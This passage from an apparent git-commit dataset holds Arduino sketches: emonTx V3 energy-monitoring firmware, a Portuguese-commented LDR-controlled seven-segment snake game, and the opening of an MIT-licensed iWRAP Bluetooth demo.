mode to keep load on power supply constant\n If AC-AC addapter is not detected assume powering from battereis \/ USB 5V AC sample is not present so take Apparent Power Readings and enable sleep mode\n \n Transmitt values via RFM69CW radio\n \n -----------------------------------------\n Part of the openenergymonitor.org project\n \n Authors: Glyn Hudson & Trystan Lea \n Builds upon JCW JeeLabs RF12 library and Arduino \n \n Licence: GNU GPL V3\n\n*\/\n\n\/*Recommended node ID allocation\n------------------------------------------------------------------------------------------------------------\n-ID-\t-Node Type- \n0\t- Special allocation in JeeLib RFM12 driver - reserved for OOK use\n1-4 - Control nodes \n5-10\t- Energy monitoring nodes\n11-14\t--Un-assigned --\n15-16\t- Base Station & logging nodes\n17-30\t- Environmental sensing nodes (temperature humidity etc.)\n31\t- Special allocation in JeeLib RFM12 driver - Node31 can communicate with nodes on any network group\n-------------------------------------------------------------------------------------------------------------\n\n\nChange Log:\nv2.3 16\/11\/15 Change to unsigned long for pulse count and make default node ID 8 to avoid emonHub node decoder conflict & fix counting pulses faster than 110ms, strobed meter LED http:\/\/openenergymonitor.org\/emon\/node\/11490 \nv2.2 12\/11\/15 Remove debug timming serial print code\nv2.1 24\/10\/15 Improved timing so that packets are sent just under 10s, reducing resulting data gaps in feeds + default status code for no temp sensors of 3000 which reduces corrupt packets improving data reliability\nV2.0 30\/09\/15 Update number of samples 1480 > 1662 to improve sampling accurancy: 1662 samples take 300 mS, which equates to 15 cycles @ 50 Hz or 18 cycles @ 60 Hz.\nV1.9 25\/08\/15 Fix spurious pulse readings from RJ45 port when DS18B20 but no pulse counter is connected (enable internal pull-up)\nV1.8 - 18\/06\/15 Increase max pulse width to 110ms\nV1.7 - 12\/06\/15 Fix pulse count debounce issue & enable pulse count pulse temperature\nV1.6 - Add support for multiple DS18B20 temperature sensors \nV1.5 - Add interrupt pulse counting - simplify serial print debug \nV1.4.1 - Remove filter settle routine as latest emonLib 19\/01\/15 does not require \nV1.4 - Support for RFM69CW, DIP switches and battery voltage reading on emonTx V3.4\nV1.3 - fix filter settle time to eliminate large inital reading\nV1.2 - fix bug which caused Vrms to be returned as zero if CT1 was not connected \nV1.1 - fix bug in startup Vrms calculation, startup Vrms startup calculation is now more accuratre\n*\/\n\n#define emonTxV3 \/\/ Tell emonLib this is the emonTx V3 - don't read Vcc assume Vcc = 3.3V as is always the case on emonTx V3 eliminates bandgap error and need for calibration http:\/\/harizanov.com\/2013\/09\/thoughts-on-avr-adc-accuracy\/\n#define RF69_COMPAT 1 \/\/ Set to 1 if using RFM69CW or 0 is using RFM12B\n#include <JeeLib.h> \/\/https:\/\/github.com\/jcw\/jeelib - Tested with JeeLib 3\/11\/14\nISR(WDT_vect) { Sleepy::watchdogEvent(); } \/\/ Attached JeeLib sleep function to Atmega328 watchdog -enables MCU to be put into sleep mode inbetween readings to reduce power consumption \n\n#include \"EmonLib.h\" \/\/ Include EmonLib energy monitoring library https:\/\/github.com\/openenergymonitor\/EmonLib\nEnergyMonitor ct1, ct2, ct3, ct4; \n\n#include <OneWire.h> \/\/http:\/\/www.pjrc.com\/teensy\/td_libs_OneWire.html\n#include <DallasTemperature.h> \/\/http:\/\/download.milesburton.com\/Arduino\/MaximTemperature\/DallasTemperature_LATEST.zip\n\n\nconst byte version = 23; \/\/ firmware version divided by 10 e,g 16 = V1.6\n\n\/\/----------------------------emonTx V3 Settings---------------------------------------------------------------------------------------------------------------\nconst byte Vrms= 230; \/\/ Vrms for apparent power readings (when no AC-AC voltage sample is present)\nconst byte TIME_BETWEEN_READINGS = 10; \/\/Time between readings \n\n\/\/http:\/\/openenergymonitor.org\/emon\/buildingblocks\/calibration\n\nconst float Ical1= 90.9; \/\/ (2000 turns \/ 22 Ohm burden) = 90.9\nconst float Ical2= 90.9; \/\/ (2000 turns \/ 22 Ohm burden) = 90.9\nconst float Ical3= 90.9; \/\/ (2000 turns \/ 22 Ohm burden) = 90.9\nconst float Ical4= 16.67; \/\/ (2000 turns \/ 120 Ohm burden) = 16.67\n\nfloat Vcal= 268.97; \/\/ (230V x 13) \/ (9V x 1.2) = 276.9 Calibration for UK AC-AC adapter 77DB-06-09 \n\/\/float Vcal=276.9;\n\/\/const float Vcal= 260; \/\/ Calibration for EU AC-AC adapter 77DE-06-09 \nconst float Vcal_USA= 130.0; \/\/Calibration for US AC-AC adapter 77DA-10-09\nboolean USA=FALSE; \n\nconst float phase_shift= 1.7;\nconst int no_of_samples= 1662; \nconst int no_of_half_wavelengths= 30;\nconst int timeout= 2000; \/\/emonLib timeout \nconst int ACAC_DETECTION_LEVEL= 3000;\nconst byte min_pulsewidth= 110; \/\/ minimum width of interrupt pulse (default pulse output meters = 100ms)\nconst int TEMPERATURE_PRECISION= 11; \/\/9 (93.8ms),10 (187.5ms) ,11 (375ms) or 12 (750ms) bits equal to resplution of 0.5C, 0.25C, 0.125C and 0.0625C\nconst byte MaxOnewire= 6; \n#define ASYNC_DELAY 375 \/\/ DS18B20 conversion delay - 9bit requres 95ms, 10bit 187ms, 11bit 375ms and 12bit resolution takes 750ms\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\n\/\/----------------------------emonTx V3 hard-wired connections--------------------------------------------------------------------------------------------------------------- \nconst byte LEDpin= 6; \/\/ emonTx V3 LED\nconst byte DS18B20_PWR= 19; \/\/ DS18B20 Power\nconst byte DIP_switch1= 8; \/\/ Voltage selection 230 \/ 110 V AC (default switch off 230V) - switch off D8 is HIGH from internal pullup\nconst byte DIP_switch2= 9; \/\/ RF node ID (default no chance in node ID, switch on for nodeID -1) switch off D9 is HIGH from internal pullup\nconst byte battery_voltage_pin= 7; \/\/ Battery Voltage sample from 3 x AA\nconst byte pulse_countINT= 1; \/\/ INT 1 \/ Dig 3 Terminal Block \/ RJ45 Pulse counting pin(emonTx V3.4) - (INT0 \/ Dig2 emonTx V3.2)\nconst byte pulse_count_pin= 3; \/\/ INT 1 \/ Dig 3 Terminal Block \/ RJ45 Pulse counting pin(emonTx V3.4) - (INT0 \/ Dig2 emonTx V3.2)\n#define ONE_WIRE_BUS 5 \/\/ DS18B20 Data \n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\/\/Setup DS128B20\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\nbyte allAddress [MaxOnewire][8]; \/\/ 8 bytes per address\nbyte numSensors;\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\/\/-----------------------RFM12B \/ RFM69CW SETTINGS----------------------------------------------------------------------------------------------------\n#define RF_freq RF12_433MHZ \/\/ Frequency of RF69CW module can be RF12_433MHZ, RF12_868MHZ or RF12_915MHZ. You should use the one matching the module you have.\nbyte nodeID = 8; \/\/ emonTx RFM12B node ID\nconst int networkGroup = 210;\n \ntypedef struct { \n int power1, aPower1, power2, aPower2, power3, aPower3, power4, aPower4, Vrms, temp[MaxOnewire]; \/\/ADDED aPower for apparent power readings\n unsigned long pulseCount;\n} PayloadTX; \/\/ create structure - a neat way of packaging data for RF comms\n\nPayloadTX emontx;\n\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\/\/-------------------------------------------------------------------------------------------------------------------------------------------\n\n\/\/Random Variables \n\/\/boolean settled = false;\nboolean CT1, CT2, CT3, CT4, ACAC, debug, DS18B20_STATUS; \nbyte CT_count=0;\nvolatile byte pulseCount = 0;\nunsigned long pulsetime=0; \/\/ Record time of interrupt pulse \nvoid setup()\n{ \n pinMode(LEDpin, OUTPUT); \n pinMode(DS18B20_PWR, OUTPUT); \n\n pinMode(pulse_count_pin, INPUT_PULLUP); \/\/ Set emonTx V3.4 interrupt pulse counting pin as input (Dig 3 \/ INT1)\n emontx.pulseCount=0; \/\/ Make sure pulse count starts at zero\n\n digitalWrite(LEDpin,HIGH); \n\n Serial.begin(9600);\n \n Serial.print(\"emonTx V3.4 Discrete Sampling V\"); Serial.print(version*0.1);\n #if (RF69_COMPAT)\n Serial.println(\" RFM69CW\");\n #else\n Serial.println(\" RFM12B\");\n #endif\n Serial.println(\"OpenEnergyMonitor.org\");\n Serial.println(\"POST.....wait 10s\");\n \n \/\/READ DIP SWITCH POSITIONS \n pinMode(DIP_switch1, INPUT_PULLUP);\n pinMode(DIP_switch2, INPUT_PULLUP);\n if (digitalRead(DIP_switch1)==LOW) nodeID--; \/\/ IF DIP switch 1 is switched on then subtract 1 from nodeID\n if (digitalRead(DIP_switch2)==LOW) USA=TRUE; \/\/ IF DIP switch 2 is switched on then activate USA mode\n \n\n if (USA==TRUE){ \/\/ if USA mode is true\n Vcal=Vcal_USA; \/\/ Assume USA AC\/AC adatper is being used, set calibration accordingly \n } \n \n delay(10);\n rf12_initialize(nodeID, RF_freq, networkGroup); \/\/ initialize RFM12B\/rfm69CW\n for (int i=10; i>=0; i--) \/\/ Send RF test sequence (for factory testing)\n {\n emontx.power1=i; \n rf12_sendNow(0, &emontx, sizeof emontx);\n delay(100);\n }\n rf12_sendWait(2);\n emontx.power1=0;\n \n if (analogRead(1) > 0) {CT1 = 1; CT_count++;} else CT1=0; \/\/ check to see if CT is connected to CT1 input, if so enable that channel\n if (analogRead(2) > 0) {CT2 = 1; CT_count++;} else CT2=0; \/\/ check to see if CT is connected to CT2 input, if so enable that channel\n if (analogRead(3) > 0) {CT3 = 1; CT_count++;} else CT3=0; \/\/ check to see if CT is connected to CT3 input, if so enable that channel\n if (analogRead(4) > 0) {CT4 = 1; CT_count++;} else CT4=0; \/\/ check to see if CT is connected to CT4 input, if so enable that channel\n \n if ( CT_count == 0) CT1=1; \/\/ If no CT's are connected CT1-4 then by default read from CT1\n\n \/\/ Quick check to see if there is a voltage waveform present on the ACAC Voltage input\n \/\/ Check consists of calculating the RMS from 100 samples of the voltage input.\n Sleepy::loseSomeTime(10000); \/\/wait for settle\n digitalWrite(LEDpin,LOW); \n \n \/\/ Calculate if there is an ACAC adapter on analog input 0\n \/\/double vrms = calc_rms(0,1780) * (Vcal * (3.3\/1024) );\n double vrms = calc_rms(0,1780) * 0.87;\n if (vrms>90) ACAC = 1; else ACAC=0;\n \n if (ACAC) \n {\n for (int i=0; i<10; i++) \/\/ indicate AC has been detected by flashing LED 10 times\n { \n digitalWrite(LEDpin, HIGH); delay(200);\n digitalWrite(LEDpin, LOW); delay(300);\n }\n }\n else \n {\n delay(1000);\n digitalWrite(LEDpin, HIGH); delay(2000); digitalWrite(LEDpin, LOW); \/\/ indicate DC power has been detected by turing LED on then off\n }\n \n \n \/\/################################################################################################################################\n \/\/Setup and for presence of DS18B20\n \/\/################################################################################################################################\n digitalWrite(DS18B20_PWR, HIGH); delay(100); \n sensors.begin();\n sensors.setWaitForConversion(false); \/\/ disable automatic temperature conversion to reduce time spent awake, conversion will be implemented manually in sleeping \n \/\/ http:\/\/harizanov.com\/2013\/07\/optimizing-ds18b20-code-for-low-power-applications\/ \n numSensors=(sensors.getDeviceCount());\n if (numSensors > MaxOnewire) numSensors=MaxOnewire; \/\/Limit number of sensors to max number of sensors \n \n byte j=0; \/\/ search for one wire devices and\n \/\/ copy to device address arrays.\n while ((j < numSensors) && (oneWire.search(allAddress[j]))) j++;\n \n delay(500);\n digitalWrite(DS18B20_PWR, LOW);\n \n if (numSensors==0) DS18B20_STATUS=0; \n else DS18B20_STATUS=1;\n\n \/\/################################################################################################################################\n\n if (Serial) debug = 1; else debug=0; \/\/ if serial UART to USB is connected show debug O\/P. If not then disable serial\n if (debug==1)\n {\n Serial.print(\"CT 1 Cal \"); Serial.println(Ical1);\n Serial.print(\"CT 2 Cal \"); Serial.println(Ical2);\n Serial.print(\"CT 3 Cal \"); Serial.println(Ical3);\n Serial.print(\"CT 4 Cal \"); Serial.println(Ical4);\n delay(1000);\n\n Serial.print(\"RMS Voltage on AC-AC is: ~\");\n Serial.print(vrms,0); Serial.println(\"V\");\n \n if (ACAC) {\n Serial.println(\"AC-AC detected - Real Power measure enabled\");\n Serial.println(\"assuming pwr from AC-AC (jumper closed)\");\n if (USA==TRUE) Serial.println(\"USA mode active\"); \n Serial.print(\"Vcal: \"); Serial.println(Vcal);\n Serial.print(\"Phase Shift: \"); Serial.println(phase_shift);\n } else {\n Serial.println(\"AC-AC NOT detected - Apparent Pwr measure enabled\");\n Serial.print(\"Assuming VRMS: \"); Serial.print(Vrms); Serial.println(\"V\");\n Serial.println(\"Assuming power from batt \/ 5V USB - power save enabled\");\n } \n\n if (CT_count==0) {\n Serial.println(\"NO CT's detected\");\n } else {\n if (CT1) Serial.println(\"CT 1 detected\");\n if (CT2) Serial.println(\"CT 2 detected\");\n if (CT3) Serial.println(\"CT 3 detected\");\n if (CT4) Serial.println(\"CT 4 detected\");\n }\n \n if (DS18B20_STATUS==1) {\n Serial.print(\"Detected Temp Sensors: \"); \n Serial.println(numSensors);\n } else { \n Serial.println(\"No temperature sensor\");\n }\n \n #if (RF69_COMPAT)\n Serial.println(\"RFM69CW\");\n #else\n Serial.println(\"RFM12B\");\n #endif\n \n Serial.print(\"Node: \"); Serial.print(nodeID); \n Serial.print(\" Freq: \"); \n if (RF_freq == RF12_433MHZ) Serial.print(\"433Mhz\");\n if (RF_freq == RF12_868MHZ) Serial.print(\"868Mhz\");\n if (RF_freq == RF12_915MHZ) Serial.print(\"915Mhz\"); \n Serial.print(\" Network: \"); Serial.println(networkGroup);\n\n Serial.print(\"CT1 CT2 CT3 CT4 VRMS\/BATT PULSE\");\n if (DS18B20_STATUS==1){Serial.print(\" Temperature 1-\"); Serial.print(numSensors);}\n Serial.println(\" \"); \n delay(500); \n\n }\n else \n { \n Serial.end();\n }\n \n \n if (CT1) ct1.current(1, Ical1); \/\/ CT ADC channel 1, calibration. calibration (2000 turns \/ 22 Ohm burden resistor = 90.909)\n if (CT2) ct2.current(2, Ical2); \/\/ CT ADC channel 2, calibration.\n if (CT3) ct3.current(3, Ical3); \/\/ CT ADC channel 3, calibration. \n if (CT4) ct4.current(4, Ical4); \/\/ CT ADC channel 4, calibration. calibration (2000 turns \/ 120 Ohm burden resistor = 16.66) high accuracy @ low power - 4.5kW Max @ 240V \n \n if (ACAC)\n {\n if (CT1) ct1.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n if (CT2) ct2.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n if (CT3) ct3.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n if (CT4) ct4.voltage(0, Vcal, phase_shift); \/\/ ADC pin, Calibration, phase_shift\n }\n\n attachInterrupt(pulse_countINT, onPulse, FALLING); \/\/ Attach pulse counting interrupt pulse counting \n \n for(byte j=0;j<MaxOnewire;j++) \n emontx.temp[j] = 3000; \/\/ If no temp sensors connected default to status code 3000 \n \/\/ will appear as 300 once multipled by 0.1 in emonhub\n} \/\/end SETUP\n\nvoid loop()\n{\n unsigned long start = millis();\n \n if (ACAC) {\n delay(200); \/\/if powering from AC-AC allow time for power supply to settle \n emontx.Vrms=0; \/\/Set Vrms to zero, this will be overwirtten by CT 1-4\n }\n \n \/\/ emontx.power1 = 1;\n \/\/ emontx.power2 = 1;\n \/\/ emontx.power3 = 1;\n \/\/ emontx.power4 = 1;\n \n if (CT1) {\n if (ACAC) {\n ct1.calcVI(no_of_half_wavelengths,timeout); \n emontx.power1=ct1.realPower;\n emontx.aPower1=ct1.apparentPower; \/\/ADDED aparent power reading por CT1\n emontx.Vrms=ct1.Vrms*100;\n } else {\n emontx.power1 = ct1.calcIrms(no_of_samples)*Vrms; \/\/ Calculate Apparent Power 1 1480 is number of sample\n }\n }\n \n if (CT2) {\n if (ACAC) {\n ct2.calcVI(no_of_half_wavelengths,timeout); \n emontx.power2=ct2.realPower; \/\/ADDED aparent power reading por CT2\n emontx.aPower2=ct2.apparentPower;\n emontx.Vrms=ct2.Vrms*100;\n } else {\n emontx.power2 = ct2.calcIrms(no_of_samples)*Vrms; \/\/ Calculate Apparent Power 1 1480 is number of samples\n }\n }\n\n if (CT3) {\n if (ACAC) {\n ct3.calcVI(no_of_half_wavelengths,timeout); \n emontx.power3=ct3.realPower; \/\/ADDED aparent power reading por CT3\n emontx.aPower3=ct3.apparentPower;\n emontx.Vrms=ct3.Vrms*100;\n } else {\n emontx.power3 = ct3.calcIrms(no_of_samples)*Vrms; \/\/ Calculate Apparent Power 1 1480 is number of samples\n }\n }\n \n if (CT4) {\n if (ACAC) {\n ct4.calcVI(no_of_half_wavelengths,timeout);\n emontx.power4=ct4.realPower; \/\/ADDED aparent power reading por CT4\n emontx.aPower4=ct4.apparentPower;\n emontx.Vrms=ct4.Vrms*100;\n } else {\n emontx.power4 = ct4.calcIrms(no_of_samples)*Vrms; \/\/ Calculate Apparent Power 1 1480 is number of samples\n }\n }\n \n if (!ACAC){ \/\/ read battery voltage if powered by DC\n int battery_voltage=analogRead(battery_voltage_pin) * 0.681322727; \/\/ 6.6V battery = 3.3V input = 1024 ADC\n emontx.Vrms= battery_voltage;\n }\n \n if (DS18B20_STATUS==1) \n {\n digitalWrite(DS18B20_PWR, HIGH); \n Sleepy::loseSomeTime(50); \n for(int j=0;j<numSensors;j++) \n sensors.setResolution(allAddress[j], TEMPERATURE_PRECISION); \/\/ and set the a to d conversion resolution of each.\n sensors.requestTemperatures();\n Sleepy::loseSomeTime(ASYNC_DELAY); \/\/ Must wait for conversion, since we use ASYNC mode \n for(byte j=0;j<numSensors;j++) \n emontx.temp[j]=get_temperature(j); \n digitalWrite(DS18B20_PWR, LOW);\n }\n \n if (pulseCount) \/\/ if the ISR has counted some pulses, update the total count\n {\n cli(); \/\/ Disable interrupt just in case pulse comes in while we are updating the count\n emontx.pulseCount += pulseCount;\n pulseCount = 0;\n sei(); \/\/ Re-enable interrupts\n }\n \n if (debug==1) {\n Serial.print(emontx.power1); Serial.print(\" \");\n Serial.print(emontx.power2); Serial.print(\" \");\n Serial.print(emontx.power3); Serial.print(\" \");\n Serial.print(emontx.power4); Serial.print(\" \");\n Serial.print(emontx.Vrms); Serial.print(\" \");\n Serial.print(emontx.pulseCount); Serial.print(\" \");\n if (DS18B20_STATUS==1){\n for(byte j=0;j<numSensors;j++){\n Serial.print(emontx.temp[j]);\n Serial.print(\" \");\n } \n }\n Serial.println(\"\");\n delay(50);\n } \n \n if (ACAC) {digitalWrite(LEDpin, HIGH); delay(200); digitalWrite(LEDpin, LOW);} \/\/ flash LED if powered by AC\n \n send_rf_data(); \/\/ *SEND RF DATA* - see emontx_lib\n \n unsigned long runtime = millis() - start;\n unsigned long sleeptime = (TIME_BETWEEN_READINGS*1000) - runtime - 100;\n \n if (ACAC) { \/\/ If powered by AC-AC adaper (mains power) then delay instead of sleep\n delay(sleeptime);\n } else { \/\/ if powered by battery then sleep rather than dealy and disable LED to lower energy consumption \n \/\/ lose an additional 500ms here (measured timing)\n Sleepy::loseSomeTime(sleeptime-500); \/\/ sleep or delay in seconds \n }\n}\n\nvoid send_rf_data()\n{\n rf12_sleep(RF12_WAKEUP); \n rf12_sendNow(0, &emontx, sizeof emontx); \/\/send temperature data via RFM12B using new rf12_sendNow wrapper\n rf12_sendWait(2);\n if (!ACAC) rf12_sleep(RF12_SLEEP); \/\/if powred by battery then put the RF module into sleep inbetween readings \n}\n\n\ndouble calc_rms(int pin, int samples)\n{\n unsigned long sum = 0;\n for (int i=0; i<samples; i++) \/\/ 178 samples takes about 20ms\n {\n int raw = (analogRead(0)-512);\n sum += (unsigned long)raw * raw;\n }\n double rms = sqrt((double)sum \/ samples);\n return rms;\n}\n\n\/\/ The interrupt routine - runs each time a falling edge of a pulse is detected\nvoid onPulse() \n{ \n if ( (millis() - pulsetime) > min_pulsewidth) {\n pulseCount++;\t\t\t\t\t\/\/calculate wh elapsed from time between pulses\n }\n pulsetime=millis(); \t\n}\n\nint get_temperature(byte sensor) \n{\n float temp=(sensors.getTempC(allAddress[sensor]));\n if ((temp<125.0) && (temp>-55.0)) return(temp*10); \/\/if reading is within range for the sensor convert float to int ready to send via RF\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/emontxv3_firmware\/raspimon_firmware\/DiscreteSampling\/DiscreteSampling.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b68e8e1b739217071551c1fcff06e8b9b35906da","subject":"Adicionando WildSnakeLDR, que ajusta a velocidade da cobrinha a partir da leitura do LDR","message":"Adicionando WildSnakeLDR, que ajusta a velocidade da cobrinha a partir da leitura do LDR\n","repos":"garoa\/dojo-shield","old_file":"arduino\/WildSnakeLDR\/WildSnakeLDR.ino","new_file":"arduino\/WildSnakeLDR\/WildSnakeLDR.ino","new_contents":"\/*\n\nAutor: Pitanga <pitanga@members.fsf.org> com base em sketches preexistentes\n\nEste sketch \u00e9 uma variante do WildSnakeGS que usa o LDR para a velocidade!\n\nA ideia \u00e9 simples: a cobra \u00e9 um r\u00e9pti, portanto um animal pecilotermo...\n\nNa presen\u00e7a da luz do sol, a temperatura e o metabolismo dos pecilotermos aumentam,\nportanto eles ficam mais \u00e1geis. Na aus\u00eancia da luz do sol, ficam mais frios e \nlentos, ou at\u00e9 dormindo!\n\nPara o usu\u00e1rio final, o circuito funciona assim:\n\n- Ap\u00f3s o reset, o segmento inferior do display pisca por 3 segundos. Neste\n momento o usu\u00e1rio deve reduzir a incid\u00eancia de luz no LDR para calibrar\n o n\u00edvel inferior de luminosidade.\n\n- Em seguida o segmento central acende por 1 segundo para indicar que a\n calibragem do n\u00edvel inferior encerrou e o usu\u00e1rio deve se preparar para\n a calibragem do n\u00edvel superior.\n\n- O segmento superior do display pisca por 3 segundos para que o usu\u00e1rio\n aumente a incid\u00eancia de luz no LDR e assim calibre o n\u00edvel superior de \n luminosidade.\n\n- Ap\u00f3s as duas calibragens, o circuito passa a ajustar continuamente a\n velocidade da cobrinha conforme a luz incidente no LDR.\n\n\nSobre como funciona a parte da cobrinha:\n \nA two-segment snake slithers aimlessly over the display. On intersections, \nthe next step is chosen at random.\n\nMost of the logic is encoded in the `moves` array which lists possible next\nsteps for each current position and direction. Snake head position and \ndirection is coded like pictured below, i.e. when the snake head is at the \nmiddle segment going right, the code is 6, going left in the same place is \ncode 13.\n\n >:0\n <:7\n -----\n^:5 | | v:1\nv:12 | >:6 | ^:8\n -----\n^:4 | <:13| v:2\nv:11 | | ^:9\n -----\n <:3\n >:10\n\nTo understand this diagram, read:\n\n> as a right arrow\n< as a left arrow\nv as a down arrow\n^ as an up arrow\n\n*\/\n\n\/\/ {first_choice, second_choice*}\n\/\/ * -1 means there is no second_choice\nint moves[][2] = {\n {1, -1}, \/\/ 0\n {13, 2}, \/\/ 1\n {3, -1}, \/\/ 2\n {4, -1}, \/\/ 3\n {6, 5}, \/\/ 4\n {0, -1}, \/\/ 5\n {2, 8}, \/\/ 6\n {12, -1}, \/\/ 7\n {7, -1}, \/\/ 8\n {13, 8}, \/\/ 9\n {9, -1}, \/\/ 10\n {10, -1}, \/\/ 11\n {6, 11}, \/\/ 12\n {5, 11} \/\/ 13\n};\n\n\/* A\n -----\n F | | B\n | G |\n -----\n E | | C\n | D |\n ----- \n*\/\n\n\/\/ A B C D E F G\nint display[] = {8, 9, 10, 11, 12, 13, 7}; \/\/ Garoa Dojo Shield\nconst int SEGMENTS = 7;\n\nint head = 1; \/\/ segment B\nint tail = 0; \/\/ segment A\n\n\/\/ vari\u00e1veis para calibra\u00e7\u00e3o\nint seg_alto = 8; \nint seg_meio = 7; \nint seg_baixo = 11; \nint ldr = A1;\nint ldr_min = 0;\nint ldr_max = 0;\nint delay_min = 10;\nint delay_max = 500;\n\/\/para permitir colocar luz for\u00e7ada al\u00e9m do maximo calibrado (ex. lanterna)\nfloat extra_factor = 0.1;\n\nint const QT_AMOSTRA = 100;\nint const TEMPO_AMOSTRAGEM = 3000;\n\nvoid setup() {\n Serial.begin(9600);\n for (int i=0; i<SEGMENTS; i++) {\n pinMode(display[i], OUTPUT);\n }\n\n \/\/calibra\u00e7\u00e3o\n ldr_min = amostragem(ldr, seg_baixo);\n digitalWrite(seg_meio, HIGH);\n delay(1000);\n digitalWrite(seg_meio, LOW);\n ldr_max = amostragem(ldr, seg_alto);\n\n digitalWrite(display[tail % 7], HIGH);\n}\n\nvoid loop() {\n digitalWrite(display[head % 7], HIGH);\n int valor_delay = leitura_ldr();\n Serial.println(valor_delay);\n delay(valor_delay);\n digitalWrite(display[tail % 7], LOW);\n tail = head;\n int* choices = moves[head];\n if (choices[1] == -1) {\n head = choices[0]; \/\/ no second choice\n } else {\n head = choices[random(2)]; \/\/ random move\n }\n}\n\nint cmp(const void *x, const void *y) {\n return (*(int *)x - *(int *)y);\n}\n\nint mediana(int amostra[], int qt_amostra) {\n qsort(amostra, qt_amostra, sizeof(int), cmp);\n return amostra[qt_amostra\/2];\n}\n\nint amostragem(int pino_leitura, int pino_sinal) {\n int amostra [QT_AMOSTRA];\n for (int i=0; i<QT_AMOSTRA; i++){\n if (i % 6 == 0) digitalWrite(pino_sinal, HIGH);\n amostra[i] = analogRead(pino_leitura);\n delay(TEMPO_AMOSTRAGEM\/QT_AMOSTRA);\n if (i % 6 == 3) digitalWrite(pino_sinal, LOW);\n }\n digitalWrite(pino_sinal, LOW);\n return mediana(amostra, QT_AMOSTRA); \n}\n \n\n\nint leitura_ldr() {\n return (int)map(constrain(analogRead(ldr), ldr_min , ldr_max*(1+extra_factor)), ldr_min, ldr_max*(1+extra_factor), delay_max, delay_min);\n}\n\n\n\/* Como funciona\n\n- Para calibrar o limite inferior do LDR, a fun\u00e7\u00e3o `setup` chama `amostragem`\n informando um `pino_leitura` e um `pino_sinal`. O `pino_leitura` \u00e9 `A1`\n (onde est\u00e1 o LDR no Garoa Dojo Shield). Na primeira chamada o `pino_sinal`\n \u00e9 11 (segmento inferior do display no Garoa Dojo Shield).\n\n- A fun\u00e7\u00e3o `amostragem` pisca por 3 segundos o `pino_sinal` (segmento \n inferior) para informar o usu\u00e1rio de que est\u00e1 sendo feita a leitura do\n limite inferior. Neste momento o usu\u00e1rio deve reduzir a incid\u00eancia de luz\n no LDR. Enquanto pisca `pino_sinal`, s\u00e3o colhidas 100 amostras\n de valores no LDR. Uma vez colhidas as amostras, a `pino_sinal` \u00e9 desligado\n e \u00e9 calculada a mediana (valor central do array de amostras, ordenado pela\n fun\u00e7\u00e3o `qsort` da biblioteca padr\u00e3o do AVR - pesquise AVR stdlib.h).\n\n- A fun\u00e7\u00e3o `setup` armazena o resultado da `amostragem` em `ldr_min`, e \n acende o segmento central do display para indicar ao usu\u00e1rio que a \n calabra\u00e7\u00e3o do valor inferior terminou e vai come\u00e7ar a calibra\u00e7\u00e3o do valor\n superior. Ap\u00f3s 3 segundos, a fun\u00e7\u00e3o `amostragem` \u00e9 chamada novamente, desta\n vez com o `pino_sinal` ligado ao segmento superior do display.\n\n- O `pino_sinal` (segmento superior) pisca por 3 segundos, \u00e9 feita a coleta\n de 100 amostras e devolvida a mediana.\n\n- `setup` armazena o novo resultado em `ldr_max`.\n\n- Durante o `loop`, os valores lidos do LDR s\u00e3o limitados por `constrain` \u00e0\n faixa de `ldr_min` at\u00e9 `ldr_max`, e convertidos por `map` a um valor\n proporcional entre 0 e 255 (m\u00ednimo e m\u00e1ximo do PWM). O valor convertido\n \u00e9 usado para controlar o led do segmento inferior.\n\n*\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/WildSnakeLDR\/WildSnakeLDR.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"af7696ad41fbdecdeb4efa90e7b4edbd779afd65","subject":"Upload initial Arduino sketch","message":"Upload initial Arduino sketch\n","repos":"loganwedwards\/Bluetooth-Arduino-Remote","old_file":"Arduino Sketches\/sketch\/sketch.ino","new_file":"Arduino Sketches\/sketch\/sketch.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Sketches\/sketch\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"463fa7578cfb26273d78c06d5e438f73bd86aa2e","subject":"Bluetooth example code, fixed to work with Uno","message":"Bluetooth example code, fixed to work with Uno\n","repos":"EinoVirtanen\/futuwear,EinoVirtanen\/futuwear,EinoVirtanen\/futuwear,EinoVirtanen\/futuwear,EinoVirtanen\/futuwear,EinoVirtanen\/futuwear","old_file":"src\/arduino-bluetooth\/iWRAP_demo_uno\/iWRAP_demo_uno.ino","new_file":"src\/arduino-bluetooth\/iWRAP_demo_uno\/iWRAP_demo_uno.ino","new_contents":"\/\/ iWRAP external host controller library generic demo\n\/\/ 2014-05-25 by Jeff Rowberg <jeff@rowberg.net>\n\/\/\n\/\/ Changelog:\n\/\/ 2014-05-25 - Initial release\n\n\/* ============================================\niWRAP host controller library code is placed under the MIT license\nCopyright (c) 2014 Jeff Rowberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF 